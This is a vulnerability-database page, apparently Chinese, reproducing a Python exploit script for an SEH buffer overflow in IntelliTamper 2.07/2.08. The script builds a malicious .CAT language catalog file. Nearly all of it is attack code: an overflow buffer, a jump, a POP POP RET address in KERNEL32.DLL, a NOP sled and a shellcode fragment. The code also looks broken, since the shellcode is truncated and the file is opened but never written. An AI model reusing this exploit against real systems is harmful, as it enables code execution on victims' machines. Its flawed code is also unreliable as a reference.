IntelliTamper (2.07/2.08) - Language Catalog Overflow (SEH)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057239 漏洞类型
发布时间 2009-01-08 更新时间 2009-01-08
漏洞平台 Windows CVSS评分 N/A
# IntelliTamper (2.07/2.08) Language Catalog SEH Overflow Exploit.
    # we start off the exploitation with some fuzzing to determine how many bytes
    # before overwriting the pointer to next SEH
    # and pointer to SEH, we will try and overwrite each address with 41414141 "AAAA" [Pointer to next SEH]
    # and 42424242 "BBBB" [pointer to SEH].
# 0x41414141  Pointer to next SEH record
# 0x42424242  SE handler
# The vulnerability was discovered by 'Cnaph'. First click in "File" through your IntelliTamper and >> "Options"
# Then open your crafted file .CAT to update your Language catalog and your SEH will be overwritten.
# This exploit implements the SEH technique to exploit the issue . . .
# When doing SEH overwrites the pointer to the SEH handler is target to be overwritten,
# so we can gain control over the program.
print "[+] IntelliTamper (2.07/2.08) Language Catalog SEH Overflow Exploit.";
Variable = "\x24\x30\x30\x30\x38\x30\x3D";
Junks =("\x41"*761)+("\x91"*19702)+(106*"\x41")
Nex_SEHHandler = "\xeb\x06\x90\x90"; # JMP
SEH_handler = "\x61\xfb\x86\x7c"; # SE.42424242 le SEH handler est ecrasé.
                         # L'addresse de déplacement de l'indicateur SEH va etre changé.
                         # KERNEL32.DLL (CALL EBX POP POP RET)
NOP_SLED = "\x90"*12
Shellcode =((("\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb"
              "\x77\x1d\x80\x7c" #LoadlibaryA(libaryname)
              "\x28\xac\x80\x7c" #GetProcAddress(hmodule,functionname)
              "\xff\x63\x4E\x34\x70\x68\x75\x78"))); #
Plus = "\n\n\n\n"
Seh_overwrite = Variable + Junks + Nex_SEHHandler + SEH_handler + NOP_SLED + Shellcode
genre = ".CAT";
Title = "IntelliTamper_DZ";
headers = open(Title + genre, "w")
print "[+] Exploit file has been successfully built.";
print "\n\Cnaph.";

# [2009-01-08]